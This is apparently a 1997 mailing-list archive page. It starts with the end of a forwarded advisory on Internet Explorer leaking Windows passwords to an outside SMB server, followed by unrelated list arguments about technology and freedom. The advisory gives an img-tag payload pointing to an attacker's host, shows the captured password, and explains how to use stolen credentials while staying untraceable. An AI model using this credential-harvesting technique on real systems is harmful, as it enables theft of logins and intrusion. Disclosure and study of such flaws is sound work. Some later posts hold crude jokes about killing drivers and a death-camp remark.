obscure and complicated, the truth is that it is very simple. I won't get into details here, but the methods for obtaining the workgroup name are easy to use and readily available. Finding a target network that has not protected ports 137 and 139 is also not so hard. Once you've done that, setting everything up to here takes a very short ammount of time. The final and easiest step is to include the following in any html file a user on this network accesses: <img src=file://\\exploit/exploit/t.gif> Congratulations!!! You will now see in your Samba log a line such as this: checking user=[user] pass=[INNOCENT] What does this all mean? The password of any Internet-connected user running Microsoft Internet Explorer on Windows 95 obtained be found in cleartext provided that their network administrator has not protected them from accessing external SMB servers by closing ports 139 and 137. If you have obtained the password of a user of a Windows NT server, you can now take the username, password and workgroup and log into that Windows NT server. Your true hostname and IP address are not stored in the html file and I am aware of no logging of hosts that enter the browse list. This means that you are not traceable, even though they are connecting to your machine. If you are lucky, you found the Windows 95 machine of the NT administrator and have little work left in order to access the NT server with administrator privileges. Solutions * Use Netscape * Use a proxy firewall or packet filter to close off ports 137 and 139 from external access to your network, though this still leaves you at risk from internal attacks. * Ask Microsoft to rewrite Windows to not send passwords by default. Demonstration We're working on software that will allow anyone to try this out and hope to have it finished tomorrow. Responses / Updates * March 17, 20:00pm: Microsoft Israel was informed of the problem and requested further information. * March 17, 22:30pm: This document initially completed. * March 17, 00:30am: Final tests with remote sites completed. Credits Discovery by Steve Birnbaum with help from Mark Gazit. Additional support from Yacov Drori and Roman Lasker. Thanks also to hobbit for his paper on CIFS, BioH for helping to test this, and anyone else who helped or provided ideas. Disclaimer The details of this exploit are being released with the interest of security in mind. No malice or harm is intended towards any company or organization. We are not responsible for any actions taken based on this information, harmful or otherwise. _________________________________________________________________ - ------------- End forwarded message. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Crypto, Ecash, Commerce Systems http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMy46Ri/fy+vkqMxNAQG5kwQA2Hoeg/W6/So4+YWMlS3f3y+eX/uzFuy3 mLmqiKPf0B+Pm6KGmoH4FXk7OmlMl8IqN4GJ/mGdzX3Otf4oSxrXsQPuNc688QJI F31F7rZTnPtXpIO9IpHvEwqyPksCOsiDJkf0cTFfVygvG2+67c/1OZ3rX/YieLoT EnQEsxjUWqk= =dQxJ -----END PGP SIGNATURE-----

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Re: Technology and loss of freedom
by Cynthia H. Brown 17 Dec '03

17 Dec '03

On Mon, 17 Mar 1997, Igor Chudov philosophised: > I have a thesis that it is the development of technology that has, over > the last 100 years, eroded the basis for and appreciation of human > freedom. Technology has also done precious little for advancing human > freedoms (although cryptography may be an exception). > > Let's first define freedom as the ability of people to do things without > forceful interference from the government. This is an arbitrary > definition, but it appears to be useful for the analysis below. > > First of all, 200 years ago it was very hard for lone people to endanger > lives of themselves and many others. Unfortunately not true - large conflagrations were all too common because of the reliance on fire for heating / cooking, wood-based construction with thatched roofing, and lack of organised, well-equipped fire brigades. > Similarly, people did not have fast moving vehicles and > any traffic did not present serious danger for innocent bystanders. True, but the highway brigands did pose a danger. Additionally, wandering nobility could (and did) commandeer attractive young peasants of either gender for a "visit". The consequences (psychological and/or physical) for these young peasants were irrelevant. > "Hard drugs" also became available only in the recent past [please > correct me] due to advancements in chemistry and medicine. Potable water is also a fairly recent innovation. Beer and wine were generally much safer (before they went sour, that is) than the raw sewage that flowed downstream from the next village. Humans have been chewing various leaves, roots, etc. for millenia. Some of these "natural" items are just as intoxicating as so-called "hard drugs". > If you ride a horse, there is no perceived need for an airbag or a > mandatory horse insurance. If all houses are 1 story tall, nobody is afraid > of an OK City type explosion. > > With the advent of technology, the balance of perceived social needs and > government capabilities shifted radically, and it shifted away from the > great freedoms of the past. The public perception of freedom now is that > freedom is inherently dangerous and is a threat to the public itself. SCA leanings notwithstanding, you cannot convince me that life back then was "freer" than now. Peasants could not leave their land, shopkeepers and artisans were limited by the guilds, and nobles were obliged to comply with the wishes of their "superiors" or be labelled traitors. Maslow's Hierarchy of Needs is another useful argument here - people were so concerned with feeding and clothing themselves that they did not have time to concern themselves with niceties like freedom. A professor of medieval studies once said that the most accurate depiction of Ye Goode Olde Life is in Monty Python's "Holy Grail", in the "Bring Out Yer Dead" scene. ("Must be a king." "Why?" "He hasn't got sh*t all over 'im.") Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb(a)iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within.

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Re: Market Failures, Monocultures, and Dead Legislators
by Toto 17 Dec '03

17 Dec '03

Dale Thorn wrote: > > The best reason to oppose air bags and seat belts is that they > protect the worst class of drivers (those who run into things, > as opposed to those who get run into), who should be killed > by their stupidity. (Survival of the fittest, without govt. > interference). How about a law prohibiting legislators from wearing seat-belts? I think we could get a grass-roots thing going on this one. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Prologue
by Bubba Rom Dos 17 Dec '03

17 Dec '03

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Re: ORGANIZED CRIME AND TECHNOLOGY TRENDS
by Dale Thorn 17 Dec '03

17 Dec '03

Toto wrote: > > From: denning(a)cs.georgetown.edu (Dorothy Denning) > > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS > > We are in the process of writing a report on the impact of technology > > and encryption on domestic and international organized crime. The > > results will be presented to the Working Group on Organized Crime of the > > National Strategy Information Center in Washington, DC on April 29. [snippo] > I hope that your sorry, Nazi asses burn in Hell for the vile, > fascist legislation that you and your kind are attempting to > foist upon the public. Toto, I think you're gonna get a couple demerits for that one. > Perhaps you could suggest 'trial' legislation which only denies > strong cryptography to Jews, intitially. Then, if your efforts to > round them all up and send them to the death camps are successful, > you could point to this success as reason to expand the legislation. Death camps? Aw, shit. You know, once you've accumulated 20 or so Attaboys, one Awshit can erase the whole stack. Guess you'll hafta start over.

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Re: Dead Kids (Oh My!)
by Toto 17 Dec '03

17 Dec '03

Cynthia H. Brown wrote: > The problem with truly criminal drivers, including the criminally > incompetent, is that they tend to kill other people too. They also > have a distressing habit of surviving, unlike the family of four > they hit while running the red light. The reason I start drinking in the morning is that, at bar-closing time, it's just so damn hard finding a school-bus full of children. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Re: Market Failures, Monocultures, and Dead Legislators
by Dale Thorn 17 Dec '03

17 Dec '03

Toto wrote: > Dale Thorn wrote: > > The best reason to oppose air bags and seat belts is that they > > protect the worst class of drivers (those who run into things, > > as opposed to those who get run into), who should be killed > > by their stupidity. (Survival of the fittest, without govt. > > interference). > How about a law prohibiting legislators from wearing seat-belts? > I think we could get a grass-roots thing going on this one. In California, they have those infamous Prop-nnn's, and the exercises the leg'os have to do to get around them could fill volumes. Here in the Land of Sunshine your son or daughter can begin their dream quest in the fry section of the local McD's, then when they graduate I.S. from Cal-State (Indentured Servant, $200,000 student loans), they can move right on up to waterboy/girl for Barbara Boxer and her mindless goon assistants. To begin with, all politicians should be required to ride around in limos with the top down. If it rains, let 'em use umbrellas. The guys standing by the road watching will be smart enough to bring their umbrellas [hee hee].

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